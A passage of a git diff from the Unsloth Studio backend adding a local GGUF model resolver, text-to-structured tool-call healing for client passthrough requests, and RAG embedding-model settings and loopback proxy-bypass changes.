no surprise multi-GB download is ever +triggered. The local-model scan is cached for a few seconds since auto-switch +consults it per request. +""" + +from __future__ import annotations + +import threading +import time +from dataclasses import dataclass +from typing import Optional + +from core.inference.model_ids import public_model_id +from loggers import get_logger + +logger = get_logger(__name__) + + +@dataclass(frozen = True) +class _LocalGgufEntry: + loader_id: str # advertised id (repo id / folder name), also the override key + load_path: str # concrete on-disk dir/file passed to /load so it never downloads + variants: tuple[str, ...] # local quant labels; () for a standalone .gguf + + +_CACHE_TTL_S = 5.0 +_lock = threading.Lock() +_scan: tuple[float, dict[str, _LocalGgufEntry]] = (0.0, {}) + + +def _is_abs_path_id(value: str) -> bool: + """True when an id is an absolute filesystem path (the ./models and LM Studio + scanners use the on-disk path as the id) rather than a repo id like org/name.""" + from pathlib import Path + try: + return Path(value).is_absolute() + except Exception: + return False + + +def _advertised_loader_id(info) -> Optional[str]: + """The id to advertise for a scanned model: prefer a client-facing alias over + an absolute filesystem path so /v1/models and the override key never expose a + host path (the ./models and LM Studio scanners report the path as info.id).""" + raw_id = getattr(info, "id", None) + if not raw_id or not _is_abs_path_id(raw_id): + return raw_id + for alt in (getattr(info, "model_id", None), getattr(info, "display_name", None)): + if alt and not _is_abs_path_id(alt): + return alt + # No clean alias: strip to a path-free public id so a host path is never advertised. + return public_model_id(raw_id) or raw_id + + +def _resolve_load_dir(p): + """The concrete dir holding the GGUFs. For an HF cache repo (``models--*`` + with ``snapshots/``) this is the latest snapshot dir, so /load takes the + local branch instead of the download-capable repo-id branch.""" + from pathlib import Path + + try: + if (p / "snapshots").is_dir(): + from routes.models import _resolve_hf_cache_realpath + real = _resolve_hf_cache_realpath(p) + if real: + return Path(real) + except Exception: + pass + return p + + +def _local_gguf_entry(loader_id: str, info) -> Optional[_LocalGgufEntry]: + """Build an entry only when GGUF quants are on disk (not Transformers/ + safetensors), listing only on-disk quants. ``load_path`` is a concrete local + path so /load resolves the variant locally and never fetches a remote one.""" + from pathlib import Path + from utils.models.model_config import _is_mmproj, list_local_gguf_variants + + path = getattr(info, "path", None) + if not isinstance(path, str): + return None + p = Path(path) + try: + if p.is_file(): + # A standalone .gguf loads by its own path; no quant sub-selection. An + # mmproj companion (vision/audio projector) is not a servable model on + # its own: _scan_models_dir's standalone-file pass does not filter it + # the way the directory scan does, so reject it here or /v1/models would + # advertise a projector and a switch could load it instead of the weights, + # evicting the loaded model. The directory branch below is already mmproj + # free (list_local_gguf_variants drops mmproj quants). + if p.suffix.lower() != ".gguf" or _is_mmproj(p.name): + return None + return _LocalGgufEntry(loader_id, str(p), ()) + load_dir = _resolve_load_dir(p) + variants, _ = list_local_gguf_variants(str(load_dir)) + quants = tuple(v.quant for v in variants if getattr(v, "quant", None)) + return _LocalGgufEntry(loader_id, str(load_dir), quants) if quants else None + except Exception: + return None + + +def info_has_local_gguf(info) -> bool: + """True when *info* (a LocalModelInfo) points to on-disk GGUF weights the + auto-switch path can load. Read from the files, not ``info.model_format``: the + HF-cache scanner leaves model_format unset for GGUF snapshots, so a + model_format filter would drop every cached GGUF. Lets /v1/models advertise + exactly what /v1 can serve.""" + from pathlib import Path + + path = getattr(info, "path", None) + # Ollama-link entries come from a scanner _build_index intentionally skips (it + # creates symlinks on the request path), so their advertised ids never resolve. + # Don't report them as servable, or /v1/models would list unswitchable models. + if isinstance(path, str) and any( + seg in (".studio_links", "ollama_links") for seg in Path(path).parts + ): + return False + return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None + + +def _build_index() -> dict[str, _LocalGgufEntry]: + """Map normalized id/model_id/display_name -> local GGUF entry. + + Scans the same roots Studio's model picker lists (./models, the active plus + legacy/default HF caches, LM Studio dirs, and user scan folders) so a named + local model is never missed and silently served as the loaded one. Ollama's + scanner is skipped: it creates symlinks as a side effect and this runs on the + request path. + """ + # Lazy import: routes.models imports core.inference, so import at call time. + from pathlib import Path + from routes.models import ( + _scan_models_dir, + _scan_hf_cache, + _scan_lmstudio_dir, + _resolve_hf_cache_dir, + _is_hidden_model, + ) + from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs + + index: dict[str, _LocalGgufEntry] = {} + seen_hf: set[str] = set() + + def _scan_hf_once(directory) -> list: + if directory is None: + return [] + try: + d = Path(directory) + if not d.is_dir(): + return [] + rp = str(d.resolve()) + if rp in seen_hf: + return [] + seen_hf.add(rp) + return _scan_hf_cache(directory) + except Exception as exc: # a missing/malformed root must skip, never crash the index + logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc) + return [] + + # Each source is guarded on its own so one bad root (a permission error, a + # malformed cache) drops only that source, not the whole index. + found: list = [] + try: + found += _scan_models_dir(Path("./models").resolve()) + except Exception as exc: + logger.debug("auto-switch: ./models scan failed: %s", exc) + try: + for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()): + found += _scan_hf_once(hf_dir) + except Exception as exc: + logger.debug("auto-switch: HF cache scan failed: %s", exc) + try: + for lm_dir in lmstudio_model_dirs(): + found += _scan_lmstudio_dir(lm_dir) + except Exception as exc: + logger.debug("auto-switch: LM Studio scan failed: %s", exc) + try: + from storage.studio_db import list_scan_folders + for folder in list_scan_folders(): + try: + fp = Path(folder["path"]) + found += ( + _scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp) + ) + except Exception as exc: + logger.debug("auto-switch: scan folder %r failed: %s", folder, exc) + except Exception as exc: + logger.debug("auto-switch: scan folders enumerate failed: %s", exc) + for info in found: + raw_id = getattr(info, "id", None) + if not raw_id: + continue + # Skip what Studio hides from its pickers (validation probe, RAG embed + # weights): not chat models, so never an auto-switch target. + if _is_hidden_model(raw_id, getattr(info, "path", None)): + continue + # Advertise a client-facing alias, not an absolute filesystem path. + loader_id = _advertised_loader_id(info) + entry = _local_gguf_entry(loader_id, info) + if entry is None: + continue + # Index every alias (including the path) so a client can resolve by any of + # them, even though only the non-path loader_id is advertised. + for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)): + if key: + index.setdefault(key.strip().lower(), entry) + return index + + +def _index() -> dict[str, _LocalGgufEntry]: + global _scan + # Build under the lock so concurrent callers with an expired cache don't all + # run the (multi-dir) scan at once; the rest wait and reuse the fresh result. + with _lock: + now = time.monotonic() + ts, cached = _scan + if now - ts < _CACHE_TTL_S: + return cached + fresh = _build_index() + # Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on + # an install with many local models can itself exceed the TTL, which would + # store the cache already expired and make every request rebuild the index. + _scan = (time.monotonic(), fresh) + return fresh + + +def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]: + """Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None. + + ``load_path`` is the concrete on-disk path to hand /load (so it never fetches + a remote), ``loader_id`` is the advertised id used as the launch-override key. + ``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first + (so ids containing a colon still resolve); else the last ``:VARIANT`` is split + off and resolves only when that quant is on disk. + """ + if not isinstance(requested, str) or not requested.strip(): + return None + requested = requested.strip() + try: + index = _index() + entry = index.get(requested.lower()) + if entry is not None: + variant = entry.variants[0] if entry.variants else None + return entry.load_path, variant, entry.loader_id + + base, sep, variant = requested.rpartition(":") + if not sep: + return None + entry = index.get(base.strip().lower()) + if entry is None: + return None + wanted = variant.strip().lower() + for v in entry.variants: + if v.lower() == wanted: + return entry.load_path, v, entry.loader_id + return None + except Exception: + # Best-effort: any resolver failure falls through to the loaded model, + # so a malformed name can never turn a servable request into a 500. + return None diff --git a/studio/backend/core/inference/passthrough_healing.py b/studio/backend/core/inference/passthrough_healing.py new file mode 100644 index 0000000000..c73134b4a2 --- /dev/null +++ b/studio/backend/core/inference/passthrough_healing.py @@ -0,0 +1,535 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tool-call healing for the client-tool passthrough. + +With server-side tools disabled (``unsloth run --disable-tools``, every +``unsloth start`` coding agent), requests carrying the client's own ``tools`` +bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small +GGUF models often emit their tool calls as TEXT (``{...}``, +Gemma ``<|tool_call>...``, ```` XML) instead of structured +``tool_calls`` -- on the passthrough that text reaches the agent as prose and +the turn dies. This module promotes such text back into structured calls on the +RESPONSE side only: the upstream request body is never touched, no extra +generation is issued, so llama-server slot/KV-cache reuse is byte-identical. + +Healing only ever fires when the request declared client tools, and only +promotes calls whose function name exactly matches a declared tool. Promotion +removes EXACTLY the promoted calls' markup spans (the parser reports them): +undeclared calls, unparseable blocks, and suppressed alternate formats keep +every byte and relay as text, so healing can never silently delete model +output. Responses without a tool signal, requests without tools, and Studio's +own enable-tools loop are untouched. Per-request opt-out: +``auto_heal_tool_calls: false``. Process kill-switch: +``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``. +""" + +import json +import os +from collections.abc import Mapping +from typing import Any, Optional + +from core.inference.tool_call_parser import TOOL_XML_SIGNALS, has_tool_signal +from core.inference.tool_loop_controller import coerce_tool_arguments +from core.tool_healing import parse_tool_calls_from_text + +# Read once at import (same convention as the other UNSLOTH_* switches). +_HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1" +# Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process +# default with UNSLOTH_TOOL_CALL_NUDGE=1 (e.g. an `unsloth run` operator). +_NUDGE_DEFAULT = os.environ.get("UNSLOTH_TOOL_CALL_NUDGE", "0") == "1" + + +def nudge_enabled(request_flag: Optional[bool]) -> bool: + return _NUDGE_DEFAULT if request_flag is None else bool(request_flag) + + +_MAX_SIGNAL_LEN = max(len(s) for s in TOOL_XML_SIGNALS) +# A suspected-but-unclosed tool block larger than this is declared a false +# alarm and flushed, bounding memory on a model rambling XML-lookalike text. +_MAX_HOLD_CHARS = 64 * 1024 + + +def heal_gate( + auto_heal: Optional[bool], + tools: Optional[list], + tool_choice: Any = None, +) -> Optional[set]: + """Return the declared client-tool name set when healing applies, else None. + + ``tools`` is the OpenAI-shaped list forwarded to llama-server + (``[{"type": "function", "function": {"name": ...}}, ...]``). The name set + doubles as the promotion allowlist so healed calls can never invent a tool + the client did not declare. + + ``tool_choice`` (OpenAI shape) constrains the allowlist so healing never + contradicts the request: ``"none"`` forbids tool calls outright (text-form + markup stays text), and a forced ``{"type": "function", "function": + {"name": N}}`` narrows promotion to that one function. ``"auto"`` / + ``"required"`` / absent keep the full declared set. + """ + if _HEALING_DISABLED or auto_heal is False: + return None + if tool_choice == "none": + return None + names = set() + for tool in tools or []: + if not isinstance(tool, dict): + continue + function = tool.get("function") + if isinstance(function, dict) and isinstance(function.get("name"), str): + names.add(function["name"]) + if isinstance(tool_choice, dict): + function = tool_choice.get("function") + forced = function.get("name") if isinstance(function, dict) else None + if isinstance(forced, str): + names &= {forced} + return names or None + + +def _tool_schemas_by_name(tools: Optional[list]) -> dict[str, Any]: + schemas: dict[str, Any] = {} + for tool in tools or []: + if not isinstance(tool, dict): + continue + function = tool.get("function") + if not isinstance(function, dict): + continue + name = function.get("name") + if isinstance(name, str): + schemas[name] = function.get("parameters") + return schemas + + +def _string_arg_key_from_schema(schema: Any) -> Optional[str]: + if not isinstance(schema, dict): + return None + properties = schema.get("properties") + required = schema.get("required") + if not isinstance(properties, dict) or not isinstance(required, list): + return None + required_names = [name for name in required if isinstance(name, str)] + if len(required_names) != 1: + return None + key = required_names[0] + + if key not in properties: + return None + prop_schema = properties.get(key) + if isinstance(prop_schema, dict): + prop_type = prop_schema.get("type") + if isinstance(prop_type, list): + if "string" not in prop_type: + return None + elif prop_type is not None and prop_type != "string": + return None + return key + + +def _coerce_promoted_arguments( + raw_args: Any, tool_name: str, tool_schemas: Optional[dict] +) -> Optional[dict]: + if isinstance(raw_args, Mapping): + return dict(raw_args) + if isinstance(raw_args, str): + try: + parsed = json.loads(raw_args) + if isinstance(parsed, Mapping): + return dict(parsed) + except (json.JSONDecodeError, ValueError): + pass + if tool_schemas is not None: + key = _string_arg_key_from_schema(tool_schemas.get(tool_name)) + return {key: raw_args} if key else None + coerced = coerce_tool_arguments(raw_args, heal = True, tool_name = tool_name) + return coerced.arguments + + +def _promote( + calls: list, + allowed_tools: set, + id_offset: int = 0, + tool_schemas: Optional[dict] = None, +) -> list: + """Filter parsed calls to declared tools and normalize their arguments. + + Bare string arguments on the client-tool passthrough use the declared + schema's single required string property. If the schema is ambiguous, the + call stays text instead of inventing a generic key. + """ + promoted = [] + for call in calls: + function = call.get("function") if isinstance(call, dict) else None + name = function.get("name") if isinstance(function, dict) else None + if name not in allowed_tools: + continue + arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas) + if arguments is None: + continue + promoted.append( + { + "id": f"call_{id_offset + len(promoted)}", + "type": "function", + "function": { + "name": name, + "arguments": json.dumps(arguments, ensure_ascii = False), + }, + } + ) + return promoted + + +def _remove_spans(text: str, spans: list) -> str: + """Text with the given non-overlapping, sorted (start, end) ranges removed.""" + pieces = [] + pos = 0 + for start, end in spans: + pieces.append(text[pos:start]) + pos = end + pieces.append(text[pos:]) + return "".join(pieces) + + +def heal_openai_message_events( + msg: dict, + allowed_tools: set, + tools: Optional[list] = None, +) -> Optional[list]: + if not isinstance(msg, dict) or msg.get("tool_calls"): + return None + content = msg.get("content") + if not isinstance(content, str) or not has_tool_signal(content): + return None + parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True) + tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None + events: list = [] + pos = 0 + call_count = 0 + for call, (start, end) in zip(parsed, spans): + promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas) + if promoted: + if content[pos:start]: + events.append(("text", content[pos:start])) + events.append(("tool_call", promoted[0])) + call_count += 1 + else: + events.append(("text", content[pos:end])) + pos = end + if not call_count: + return None + if content[pos:]: + events.append(("text", content[pos:])) + return events + + +def heal_openai_message( + msg: dict, + allowed_tools: set, + tools: Optional[list] = None, +) -> bool: + """Promote text-form tool calls in a non-streaming OpenAI message. In place. + + No-op (returns False) unless the message has NO structured ``tool_calls`` + (grammar mode already worked when it does) and its content carries a tool + signal that parses into at least one declared call. Only the promoted + calls' markup spans are removed from the content; undeclared calls and + anything the parser did not consume stay in the text byte-intact. + """ + events = heal_openai_message_events(msg, allowed_tools, tools) + if not events: + return False + calls = [value for kind, value in events if kind == "tool_call"] + content = "".join(value for kind, value in events if kind == "text").strip() + msg["tool_calls"] = calls + # OpenAI requires content = null on a pure tool-call turn. + msg["content"] = content or None + return True + + +def _earliest_signal(buffer: str) -> int: + best = -1 + for signal in TOOL_XML_SIGNALS: + index = buffer.find(signal) + if index >= 0 and (best < 0 or index < best): + best = index + return best + + +def _closed_signal_span(buffer: str) -> Optional[tuple[int, int]]: + spans = [] + for open_tag, close_tag in ( + ("", ""), + ("<|tool_call>", ""), + (""), + ): + start = buffer.find(open_tag) + if start < 0: + continue + end = buffer.find(close_tag, start) + if end >= 0: + spans.append((start, end + len(close_tag))) + return min(spans, key = lambda span: span[0]) if spans else None + + +def _partial_signal_suffix(buffer: str) -> int: + """Length of the longest buffer suffix that is a proper prefix of a signal.""" + for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1): + tail = buffer[-length:] + if any(signal.startswith(tail) for signal in TOOL_XML_SIGNALS): + return length + return 0 + + +class StreamToolCallHealer: + """Buffer-and-repair state machine for streamed passthrough content. + + ``feed(text)`` / ``finalize()`` yield ``("text", str)`` events for content + to relay and ``("tool_call", dict)`` events carrying an OpenAI-shaped call + (string ``function.arguments``). Normal prose is forwarded immediately; only + a trailing partial-signal window (< max signal length) or a suspected tool + block is ever withheld, so streaming latency stays bounded. A false alarm + (the buffer can no longer become a parseable declared call) flushes the held + text verbatim. + """ + + def __init__( + self, + allowed_tools: set, + tools: Optional[list] = None, + ) -> None: + self._allowed = set(allowed_tools) + + self._tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None + self._buffer = "" + self._holding = False + self._id_offset = 0 + # Structured delta.tool_calls seen upstream: grammar mode already + # worked, so healing goes dormant and text relays verbatim. + self.dormant = False + + @property + def healed(self) -> bool: + return self._id_offset > 0 + + def structured_tool_call_seen(self) -> list: + """Go dormant; flush anything held so no text is swallowed.""" + self.dormant = True + held, self._buffer, self._holding = self._buffer, "", False + return [("text", held)] if held else [] + + def feed(self, text: str) -> list: + if self.dormant: + return [("text", text)] if text else [] + self._buffer += text + return self._drain() + + def _drain(self) -> list: + events: list = [] + while True: + if not self._holding: + start = _earliest_signal(self._buffer) + if start >= 0: + if start: + events.append(("text", self._buffer[:start])) + self._buffer = self._buffer[start:] + self._holding = True + else: + keep = _partial_signal_suffix(self._buffer) + emit = self._buffer[: len(self._buffer) - keep] + if emit: + events.append(("text", emit)) + self._buffer = self._buffer[len(self._buffer) - keep :] + return events + # HOLD: handle the FIRST complete block per pass so events keep + # document order (a later declared call must not overtake an + # earlier undeclared one flushing as text). + parsed, spans = parse_tool_calls_from_text( + self._buffer, + id_offset = self._id_offset, + allow_incomplete = False, + with_spans = True, + ) + if not parsed: + closed_span = _closed_signal_span(self._buffer) + if closed_span: + _start, end = closed_span + events.append(("text", self._buffer[:end])) + self._buffer = self._buffer[end:] + self._holding = False + continue + if len(self._buffer) > _MAX_HOLD_CHARS: + events.append(("text", self._buffer)) + self._buffer = "" + self._holding = False + continue + return events + start, end = spans[0] + promoted = _promote( + [parsed[0]], + self._allowed, + id_offset = self._id_offset, + tool_schemas = self._tool_schemas, + ) + if promoted: + if start: + events.append(("text", self._buffer[:start])) + events.append(("tool_call", promoted[0])) + self._id_offset += 1 + # Drop exactly the promoted markup span; everything else + # (leading text, later blocks) stays and is rescanned. + self._buffer = self._buffer[end:] + else: + # Undeclared or unusable name: its markup is DATA, flush it + # (and anything before it) verbatim, then rescan the rest. + events.append(("text", self._buffer[:end])) + self._buffer = self._buffer[end:] + self._holding = False + + def finalize(self) -> list: + """End of stream: last-chance heal of the residue, else flush it. + + Events keep document order; only the promoted calls' markup spans are + dropped, every other residue byte flushes as text. + """ + if not self._buffer: + return [] + residue, self._buffer = self._buffer, "" + holding, self._holding = self._holding, False + if self.dormant or not holding: + return [("text", residue)] + parsed, spans = parse_tool_calls_from_text( + residue, + id_offset = self._id_offset, + allow_incomplete = True, + with_spans = True, + ) + events: list = [] + pos = 0 + any_promoted = False + for call, (start, end) in zip(parsed, spans): + promoted = _promote( + [call], + self._allowed, + id_offset = self._id_offset, + tool_schemas = self._tool_schemas, + ) + if promoted: + if residue[pos:start]: + events.append(("text", residue[pos:start])) + events.append(("tool_call", promoted[0])) + self._id_offset += 1 + any_promoted = True + else: + events.append(("text", residue[pos:end])) + pos = end + if not any_promoted: + return [("text", residue)] + tail = residue[pos:].strip() + if tail: + events.append(("text", tail)) + return events + + +def _first_choice_message(data: Any) -> Optional[dict]: + """First-choice message dict of a non-streaming chat response, else None. + + Upstream error bodies can carry ``"message": null`` (or no choices at all), + so never assume the shape: a non-dict message means "nothing to heal". + """ + try: + message = data["choices"][0]["message"] + except (KeyError, IndexError, TypeError): + return None + return message if isinstance(message, dict) else None + + +def _last_assistant_text(data: Any) -> str: + """First-choice assistant content of a non-streaming chat response, or ''.""" + message = _first_choice_message(data) + content = message.get("content") if message else None + return content if isinstance(content, str) else "" + + +def _heal_would_promote( + text: str, + allowed_tools: set, + tools: Optional[list] = None, +) -> bool: + """Whether ``heal_openai_message`` would promote at least one call.""" + parsed = parse_tool_calls_from_text(text, allow_incomplete = True) + tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None + return bool(_promote(parsed, allowed_tools, tool_schemas = tool_schemas)) + + +def response_has_promotable_calls( + data: Any, + allowed_tools: set, + tools: Optional[list] = None, +) -> bool: + """True when a non-streaming chat response carries a usable tool call + (structured naming a DECLARED tool, or text-form that healing would + promote). Used to decide whether a nudge retry actually improved on the + original response; a hallucinated undeclared call is not an improvement.""" + message = _first_choice_message(data) + if not message: + return False + tool_calls = message.get("tool_calls") + if tool_calls: + # ALL structured calls must be declared: the caller forwards the whole + # list (and a parallel cap could keep only the FIRST one), so a mixed + # response with a single hallucinated name could still hand the client + # an undeclared tool. + return all( + isinstance(tc, dict) + and isinstance(tc.get("function"), dict) + and tc["function"].get("name") in allowed_tools + for tc in tool_calls + ) + text = message.get("content") + if not isinstance(text, str): + return False + return _heal_would_promote(text, allowed_tools, tools) + + +def nudge_should_retry( + data: Any, + allowed_tools: Optional[set], + tools: Optional[list] = None, +) -> bool: + """True when the first response tried to call a tool but nothing healed. + + Trigger only on: healing enabled (allowed_tools set), zero structured + calls, a tool signal present in the text, and zero promotable calls -- the + exact failure a single re-ask can fix. Clean prose never retries. + """ + if not allowed_tools: + return False + message = _first_choice_message(data) + if not message or message.get("tool_calls"): + return False + text = message.get("content") + if not isinstance(text, str) or not has_tool_signal(text): + return False + return not _heal_would_promote(text, allowed_tools, tools) + + +def nudge_messages(data: Any, allowed_tools: set) -> list: + """The two-message suffix appended for the single nudge retry. + + The retry body is the original body plus this suffix, so the prompt prefix + is byte-identical and llama-server's slot/prefix cache is reused (same + shape as the enable-tools loop's reprompt). + """ + tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool" + return [ + {"role": "assistant", "content": _last_assistant_text(data)}, + { + "role": "user", + "content": ( + "You have access to the declared tools. If a tool is needed to " + f"complete the action you described, call {tool_hint} now using the " + "native tool-call format with valid JSON arguments, not prose. If no " + "tool is needed, provide the final answer directly." + ), + }, + ] diff --git a/studio/backend/core/rag/captioner.py b/studio/backend/core/rag/captioner.py index e29c9c9a7a..6d1512a770 100644 --- a/studio/backend/core/rag/captioner.py +++ b/studio/backend/core/rag/captioner.py @@ -128,6 +128,8 @@ def _vision_complete( json = payload, timeout = timeout, headers = _vision_auth_headers(), + # trust_env=False: base_url is the loopback backend; skip any HTTP(S)_PROXY. + trust_env = False, ) r.raise_for_status() text = r.json()["choices"][0]["message"]["content"] diff --git a/studio/backend/core/rag/config.py b/studio/backend/core/rag/config.py index 54a224d081..2de32a68e4 100644 --- a/studio/backend/core/rag/config.py +++ b/studio/backend/core/rag/config.py @@ -6,8 +6,10 @@ from __future__ import annotations import os +import re -EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", "unsloth/bge-small-en-v1.5") +DEFAULT_EMBEDDING_MODEL = "unsloth/bge-small-en-v1.5" +EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", DEFAULT_EMBEDDING_MODEL) # Under bge's 512 limit, leaving headroom for the 2 special tokens (else overflow: # llama-server 500s, ST truncates). Keep <= embedder_max - ~12. CHUNK_TOKENS = int(os.environ.get("RAG_CHUNK_TOKENS", "500")) @@ -66,6 +68,43 @@ OCR_MAX_TOKENS = int(os.environ.get("RAG_OCR_MAX_TOKENS", "2048")) # wins bulk indexing), else torch-free GGUF llama-server. Switching backends changes # the vectors, so the index must be rebuilt. EMBED_BACKEND = os.environ.get("RAG_EMBED_BACKEND", "auto") + + +def effective_embedding_model() -> str: + """The embedding model actually in use: the persisted Settings override when + one is stored, else ``EMBEDDING_MODEL`` (env/default). Read at call time so a + Settings change applies without a restart.""" + try: + from utils.embedding_model_settings import get_rag_embedding_model + return get_rag_embedding_model() + except Exception: # noqa: BLE001 - settings store unavailable (tests, early boot) + return EMBEDDING_MODEL + + +def _names_gguf(model: str) -> bool: + """True when "gguf" appears as a whole name segment, so plain substrings + like "bigguf" don't count.""" + return "gguf" in re.split(r"[^a-z0-9]+", model.lower()) + + +def effective_gguf_repo() -> str: + """GGUF repo for the llama-server backend, tracking the effective model. + + An explicit ``RAG_EMBED_GGUF_REPO`` env always wins. Otherwise any custom + model (saved in Settings or via ``RAG_EMBEDDING_MODEL``) maps to its + ``-GGUF`` companion repo (the unsloth convention the default pair follows), + or is used as-is when it already names a GGUF repo. + """ + if "RAG_EMBED_GGUF_REPO" in os.environ: + return EMBED_GGUF_REPO + model = effective_embedding_model() + if model == DEFAULT_EMBEDDING_MODEL: + return EMBED_GGUF_REPO + if _names_gguf(model): + return model + return f"{model}-GGUF" + + # llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this # tiny model) and exact vs fp32, for ~30MB more on disk. EMBED_GGUF_REPO = os.environ.get("RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF") diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py index c2e4ecc740..46a282c939 100644 --- a/studio/backend/core/rag/embed_llama_server.py +++ b/studio/backend/core/rag/embed_llama_server.py @@ -55,15 +55,20 @@ class LlamaServerBackend: self._port: int | None = None self._stdout_lines: list[str] = [] self._stdout_thread: threading.Thread | None = None + # No lock: probes are idempotent (a duplicate 1-text encode is benign) + # and dim() -> encode() -> _ensure_ready() -> _resolve_model_path() can + # re-enter on a mid-probe model change, which would self-deadlock a + # non-reentrant lock held across the probe. self._dim: int | None = None - self._dim_lock = threading.Lock() self._model_path: str | None = None + # Effective GGUF repo the cached path/dim belong to; a Settings change + # makes it stale, forcing a re-resolve + respawn (see _ensure_ready). + self._model_repo: str | None = None self._binary: str | None = None # Sticky after an auto GPU start fails: later spawns stay on CPU. self._force_cpu = False - # Pooled client; requests pass full URLs, so a respawn's new port needs - # no rebuild. - self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S) + # Pooled client (full URLs per request survive a respawn); trust_env=False skips HTTP(S)_PROXY. + self._client = httpx.Client(timeout = config.EMBED_REQUEST_TIMEOUT_S, trust_env = False) atexit.register(self._shutdown) @property @@ -115,24 +120,77 @@ class LlamaServerBackend: "RAG_EMBED_BACKEND=llama-server requires an embeddings-capable build" ) + @staticmethod + def _resolve_local_gguf(model: str) -> str | None: + """A custom model may be a local .gguf file or a directory holding one; + resolve it without the hub. None when the value is not a local path.""" + p = Path(model).expanduser() + if p.is_file() and p.suffix.lower() == ".gguf": + return str(p) + if p.is_dir(): + files = [ + f + for f in p.iterdir() + if f.suffix.lower() == ".gguf" and "mmproj" not in f.name.lower() + ] + if not files: + raise RuntimeError(f"no .gguf file found in local model dir {model!r}") + variant = config.EMBED_GGUF_VARIANT.lower() + match = [f for f in files if variant in f.name.lower()] or files + return str(sorted(match, key = lambda f: len(f.name))[0]) + return None + def _resolve_model_path(self) -> str: """Download (or cache-hit) the variant-matching, non-mmproj GGUF embedder, - returning its local path.""" - if self._model_path is not None: + returning its local path. Re-resolves when the effective repo changed (a + custom model was saved in Settings).""" + # Captured once: if the setting changes mid-download, the path must stay + # tagged with the repo it was resolved FOR, so _current() sees the new + # setting as stale and respawns instead of serving the old model. + desired = config.effective_gguf_repo() + if self._model_path is not None and self._model_repo == desired: + return self._model_path + local = self._resolve_local_gguf(config.effective_embedding_model()) + if local is not None: + self._model_path = local + self._model_repo = desired + self._dim = None return self._model_path from huggingface_hub import hf_hub_download, list_repo_files - repo = config.EMBED_GGUF_REPO token = os.environ.get("HF_TOKEN") or None - files = [f for f in list_repo_files(repo, token = token) if f.lower().endswith(".gguf")] - files = [f for f in files if "mmproj" not in f.lower()] + # A custom model derives its "-GGUF" companion repo; when that guess does + # not exist, the model repo itself may host the .gguf files. + repo = desired + candidates = [repo] + model = config.effective_embedding_model() + if model != repo: + candidates.append(model) + files: list[str] = [] + errors: list[str] = [] + for candidate in candidates: + try: + files = [ + f + for f in list_repo_files(candidate, token = token) + if f.lower().endswith(".gguf") and "mmproj" not in f.lower() + ] + except Exception as e: # noqa: BLE001 - missing/gated repo -> next candidate + errors.append(f"{candidate!r}: {e}") + continue + if files: + repo = candidate + break + errors.append(f"{candidate!r}: no .gguf files") if not files: - raise RuntimeError(f"no .gguf file found in embedder repo {repo!r}") + raise RuntimeError("no .gguf embedder found; tried " + "; ".join(errors)) variant = config.EMBED_GGUF_VARIANT.lower() match = [f for f in files if variant in f.lower()] or files filename = sorted(match, key = len)[0] logger.info("resolving GGUF embedder %s/%s", repo, filename) self._model_path = hf_hub_download(repo_id = repo, filename = filename, token = token) + self._model_repo = desired + self._dim = None return self._model_path # Min free VRAM (MiB) for the embedder; below this, auto stays on CPU. @@ -305,7 +363,8 @@ class LlamaServerBackend: logger.error("llama-server embedder exited early (code %s)", code) return False try: - if httpx.get(url, timeout = 2.0).status_code == 200: + # trust_env=False: a proxy that 503s 127.0.0.1 must not block this probe. + if httpx.get(url, timeout = 2.0, trust_env = False).status_code == 200: return True except (*_TRANSPORT_ERRORS, httpx.TimeoutException): pass @@ -316,13 +375,19 @@ class LlamaServerBackend: def _process_alive(self) -> bool: return self._process is not None and self._process.poll() is None + def _current(self) -> bool: + """Alive AND serving the effective repo (a Settings model change makes a + live server stale).""" + return self._process_alive() and self._model_repo == config.effective_gguf_repo() + def _ensure_ready(self) -> None: - """Guarantee a live server, (re)spawning if needed. Double-checked so the - alive path takes no lock; self-heals after the chat reaper kills us.""" - if self._process_alive(): + """Guarantee a live server on the effective model, (re)spawning if needed. + Double-checked so the current path takes no lock; self-heals after the + chat reaper kills us and re-resolves after a Settings model change.""" + if self._current(): return with self._lifecycle_lock: - if self._process_alive(): + if self._current(): return self._kill_process() self._spawn() @@ -424,14 +489,18 @@ class LlamaServerBackend: return arr def dim(self, *, model_name = None) -> int: - """Embedding width, probed once via a 1-text encode and cached.""" - if self._dim is not None: - return self._dim - with self._dim_lock: - if self._dim is None: - vec = self.encode(["x"], normalize = False) - self._dim = int(vec.shape[1]) - return self._dim + """Embedding width, probed via a 1-text encode and cached per model + (_resolve_model_path clears it when the effective repo changes). + Unlocked: concurrent probes are benign, and locking would deadlock when + the probe's encode respawns onto a changed model (see __init__).""" + self._ensure_ready() 